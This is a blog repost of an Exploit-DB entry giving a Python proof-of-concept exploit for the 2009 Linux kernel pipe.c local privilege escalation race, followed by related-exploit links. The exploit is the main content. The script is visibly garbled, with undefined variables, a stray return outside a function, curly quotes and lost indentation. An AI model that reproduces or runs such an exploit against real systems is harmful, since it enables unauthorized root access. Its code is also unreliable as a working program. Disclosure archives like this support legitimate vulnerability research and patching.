Vulnerable InforMation And IT News

###############################

# EDB-ID: 9844

# CVE-ID: ()

# Title: Linux Kernel 2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation

# Author: Matthew Bergin

# Published: 2009-11-05

# Download Exploit Code

# Download N/A

###############################

# This is a PoC based off the PoC release by Earl Chew

# Linux Kernel ‘pipe.c’ Local Privilege Escalation Vulnerability

# PoC by Matthew Bergin

# Bugtraq ID: 36901

import os

import time

import random

#infinite loop

while (i == 0):

os.system(”sleep 1″)

while (x == 0):

time.sleep(random.random()) #random int 0.0-1.0

pid = str(os.system(”ps -efl | grep ’sleep 1′ | grep -v grep | { read PID REST ; echo $PID; }”))

if (pid == 0): #need an active pid, race condition applies

print “[+] Didnt grab PID, got: ” + pid + ” — Retrying…”

return

else:

print “[+] PID: ” + pid

loc = “echo n > /proc/” + pid + “/fd/1″

os.system(loc) # triggers the fault, runs via sh

Related Posts

• Linux Kernel ‘pipe.c’ Local Privilege Escalation Vulnerability
• Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit [3]
• Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit [2]
• Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit
• Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)
• Linux Kernel < 2.6.14.6 procfs Kernel Memory Disclosure Exploit

Tags: Linux Kernel, Privelege Escalation

This entry was posted on Friday, November 20th, 2009 at 8:30 am and is filed under 0day, Vulnerable InforMation, exploit. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.